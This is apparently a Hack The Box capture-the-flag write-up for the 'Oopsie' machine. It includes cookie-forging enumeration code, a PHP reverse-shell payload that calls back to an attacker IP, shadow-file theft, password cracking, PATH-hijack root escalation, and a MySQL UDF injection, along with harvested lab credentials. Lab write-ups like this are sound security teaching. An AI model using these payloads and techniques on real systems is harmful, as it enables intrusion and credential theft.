Oopsie HTB | WriteUp
$ nmap -sV -sC -p- $IP -oN nmap-$IP.out
whatweb $IP > whatweb.out
We can remember that possible user is admin
.
$ gobuster dir -w /usr/wl/dirbuster-m.txt -x txt,php -u http://$1 -o gbdir-$1-http.out
$ curl -X OPTIONS -I http://$IP/uploads/
$ nikto -h $IP
Website (:80)
At the bottom of the page we see that it should have some login front.
By looking at the a source code we can find where the login page is located (also we can see that in the nikto
output):
/cdn-cgi/login/
Here, in the source code, apart from the following JS script we don’t see anything useful.
Ok, now that we don’t have any clues about credentials we can use — but let’s try some of these from the Archetype box.
admin/MEGACORP_4dm1n!!
is the answer.
On the top navigation bar there is an Upload
page - this is something we should check right away for possible reverse shell uploads.
/cdn-cgi/login/admin.php?content=uploads
That’s an interesting one. We come back here after we enumerate users
/cdn-cgi/login/admin.php?content=accounts&id=1
Using the Developer Tools (F12) we can peek the request and cookies:
Let’s enumerate the id
query parameter to discover some users.
# account_enum.py
import requests
import urllib3
import re
from tabulate import tabulateurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)host = "10.10.10.28"
url = f"http://{host}/cdn-cgi/login/admin.php?content=accounts&id="headers = {}
cookies = {"user":"34322", "role":"admin"}t_header = ["ID", "Name", "Email"]
t_matches = []re_pattern = "<table><tr><th>Access ID</th><th>Name</th><th>Email</th></tr><tr><td>(?P<ID>.+)</td><td>(?P<Name>.+)</td><td>(?P<Email>.+)</td></tr></table"for i in range(100):
r = requests.get(f"{url}{i}", cookies=cookies, headers=headers, verify=False) match = re.search(re_pattern, r.text) if match != None:
t_matches.append([match["ID"], match["Name"], match["Email"]])print(tabulate(t_matches, t_header))
Ok, so when we replace the cookies with super admin
account details, we should be able to see the Uploads
page.
Exploiting (user shell)
First, we can try the simplest payload:
# pshell.php
<?php
$sock=fsockopen("10.10.XX.XXX",4445);
$proc=proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Let’s see curl http://10.10.10.28/uploads/pshell.php
Here, reverse shell obtained.
Semi stabilizing shell and alias
$ alias ls='ls --color=always -lAh'
$ python3 -c "import pty;pty.spawn('/bin/bash')"
Some more interesting findings:
Another credential to add.
$ echo 'robert|M3g4C0rpUs3r!' | tee -a ../.credentials
robert|M3g4C0rpUs3r!
$ cat ../.credentials
sql_svc|M3g4c0rp123
administrator|MEGACORP_4dm1n!!
robert|M3g4C0rpUs3r!
Search for user flag:
Lateral movement
Now we can try to reuse DB credentials to switch shell user.
Check for sudo rights
bugtracker
group
This group is not a standard one. We should be curious about such creations. By using find
command, we can easily track down all files to which group have special permissions to.
find / -group bugtracker 2>/dev/null
Interesting. It looks like some custom application. Lets strace
it.
$ strace bugtracker
It is waiting for the input — type anything and hit enter. Later down the stack, we see that application permissions are temporarily elevated to the root permissions
And following path is cat
out.
It is even better visible by using ltrace
New to
strace
andltrace
?
Application is trying to cat the file out. Using directory traversal, we can read the shadow file.
robert@oopsie:/var/www/html/uploads$ bugtracker
And try to crack root
password it with john
:
$ unshadow passwd.txt shadow.txt > unshadowed.txt
$ john --wordlist=/usr/wl/rockyou.txt unshadowed.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:53:11 DONE (2021-05-30 15:45) 0g/s 4493p/s 4493c/s 4493C/s !!!playboy!!!7..*7¡Vamos!
Session completed
But we can’t crack it. At this point, we can simply cat out the root flag
But let’s assume we don’t know where the flag lays.
Escalating Privileges
In the debugging sessions, we see that cat
is not referenced via an absolute /bin/cat
path. We can exploit that. The plan is to modify PATH
variable to include directory, so it will be searched before /bin/
. In this directory, we are going to create cat
file that will call /bin/bash
. As we've observed before, cat
(whatever it may be) is run with temporary elevated privileges - that way we can get the root shell.
export PATH=/tmp:$PATH
cd /tmp/
echo '/bin/sh' > cat
chmod +x cat
That way, we have a cat
executable file that will be called inside bugtracker
instead /bin/cat
.
Remember that because we have modified cat
in a PATH
we should, either unset the /tmp:
or call cat
via its absolute path.
Post-exploitation
When you read the reports in the /root/reports
you will see many references to the filezilla
and its config. It happens that .config
directory actually exists in the /root
Alright — another credential to save.
echo 'ftpuser|mc@F1l3ZilL4' | tee -a ../.credentials
MySQL
Let’s see what we can get by using robert
account with mysql
.
mysql> use garage;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| garage |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> show tables;
+------------------+
| Tables_in_garage |
+------------------+
| accounts |
| branding |
| clients |
+------------------+
3 rows in set (0.00 sec)
Let’s grab password hashes and check it on CrackStation.
mysql> select user,authentication_string from mysql.user;
+------------------+-------------------------------------------+
| user | authentication_string |
+------------------+-------------------------------------------+
| root | |
| mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| debian-sys-maint | *D1DBADEE9E3EE2D0767B40F19463FB6C5EB6D594 |
| dbuser | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
| robert | *2429DD64CD7A63687EA257432557FEFDA6D6F2A1 |
+------------------+-------------------------------------------+
6 rows in set (0.00 sec)
echo 'dbuser|toor' | tee -a ../.credentials
Arbitrary Library Injection (rabbit hole?)
This exploit is abusing user privileges to INSERT and DELETE on ‘mysql’ administrative database, so it is possible to use a library located in an arbitrary directory. We can use it to prepare a library with do_system
function to execute shell commands with root privileges.
For a quick wrap up — I did manage to upload the library payload and add its path to mysql.func
table.
INSERT INTO mysql.func (name,dl) VALUES ('do_system','/var/lib/mysql-files/lib_mysqludf_sys.so');
The last step was restarting the MySQL server — which I could have done on user account partially. Following will shut down the MySQL…
CREATE FUNCTION exit RETURNS INTEGER SONAME 'libc.so.6';
SELECT exit(0);